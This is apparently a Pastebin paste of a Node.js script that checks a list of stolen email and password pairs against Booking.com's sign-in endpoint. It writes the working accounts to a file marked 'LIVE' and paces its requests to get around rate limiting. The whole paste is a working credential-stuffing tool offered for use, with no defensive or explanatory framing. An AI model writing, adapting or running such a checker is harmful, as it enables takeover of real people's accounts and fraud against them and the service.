Advertisement
Guest User

Untitled

a guest
Sep 17th, 2019
169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.86 KB | None | 0 0
  1. const request = require('node-fetch');
  2. const fs = require("fs");
  3. const delays = require("delay");
  4. const ngentod = require("readline-sync");
  5.  
  6. function getString(start, end, all) {
  7. const regex = new RegExp(`${start}(.*?)${end}`);
  8. const str = all
  9. const result = regex.exec(str);
  10. return result;
  11. }
  12.  
  13. function sleep(millis) {
  14. return new Promise(resolve => setTimeout(resolve, millis));
  15. }
  16.  
  17. const checker = (email, pass) => new Promise ((resolve, reject) => {
  18. const URL = "https://account.booking.com/account/sign-in/password";
  19. const postdata = {"login_name":`${email}`,"password":`${pass}`,"client_id":"vO1Kblk7xX9tUn2cpZLS","state":"","scope":"","code_challenge":"","code_challenge_method":"","op_token":"EgVvYXV0aCLFBAoUdk8xS2Jsazd4WDl0VW4yY3BaTFMSCWF1dGhvcml6ZRo1aHR0cHM6Ly9zZWN1cmUuYm9va2luZy5jb20vbG9naW4uaHRtbD9vcD1vYXV0aF9yZXR1cm4q5ANVdWdDQ2tLN2FLcW5ENGpkTlV1MGJZbThlS005SHYxQW5uQzQ5bGc2ZDI2ZERDUmY4SHpCU013Z08yZmVYaTRMcWs3LS1IRjVPTWkwcFlqZ2tqRzNabllHM1B5RmNmUWpaSFpfMUpWZTZaaWxNOXFvQjVPblJaR3RxbXFHSF9aWlZVdU5UaGMxLVlZZXNmekd6cHh2dk1oTjFzMWxWajhQMWZsWnB0Y0lZRXllSkJDdFJ1VHo1OWdaajh3WU16LTBfeGhQMGlkOWIwMTY2cnBycVE0T1BGeGEwRUdwbk9RYmtUdF8zX0Zfb1BTa3NaUDN3Rm00ZUJLQjUxT3c5b3hRV1M2alpia0k0Y2liOWFWc0w5dG9QSW1ITXJ0dGktV0NBNTBsejZHb2hWM1hqYng2M3hYUEZXMml5LUdPSW5Rb1J4aE9kRW5wVGZKYWJiZFladzZiT0p0U2p3aE4xWHJlY01mNmFkSkFkRWRuSDM1VmI3SUpsRFVucjYtMmhCOS1zeWRTNURtTGhJTVhCMVNQUVVuYi03NUV1MkNDWktxTjFnelJfaTNCZ1JsZkJzeU1NMHY5czBDM0lIQkdwbGpCWDhBRkU3d0VwcWpsTkFRa0ZJaHZFZElLNEZuS3FoWHlDZ1NiQgRjb2RlKhAIjsgSMI-U4s7J1SM6AEIA"};
  20. request(URL, {
  21. method: 'POST',
  22. headers: {
  23. 'Host': 'account.booking.com',
  24. 'X-Requested-With': 'XMLHttpRequest',
  25. 'Content-Type': 'application/json'
  26. },
  27. body: JSON.stringify(postdata)
  28. })
  29. .then(result => {
  30. resolve(result.text())
  31. })
  32. .then(err => {
  33. reject(err)
  34. })
  35. });
  36.  
  37. (async () => {
  38. const lis = ngentod.question("Input File List Kak : ");
  39. const arr = fs.readFileSync(lis).toString().split("\n");
  40. for(bhh in arr) {
  41. await delays(570);
  42. const pecah = arr[bhh].replace("\r","").split("|");
  43. const email = pecah[0].replace("\r", "");
  44. const password = pecah[1].replace("\r", "");
  45. const check = await checker(email.trim(), password.trim())
  46. const live = new RegExp('"next_step":"redirect"', 'i')
  47. const many = new RegExp('"message":"Too many requests"', 'i')
  48. if(live.exec(check)){
  49. console.log(`[${bhh}] ${email}|${password} => LIVE!`);
  50. fs.appendFileSync("bookingLIVE.txt", `${email}|${password} => LIVE!\n`)
  51. }else if(many.exec(check)){
  52. console.log(`[${bhh}] ${email}|${password} => Too many requests`);
  53. }else{
  54. console.log(`[${bhh}] ${email}|${password} => DIE!`);
  55. }
  56. await delays(1000);
  57. }
  58. })()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement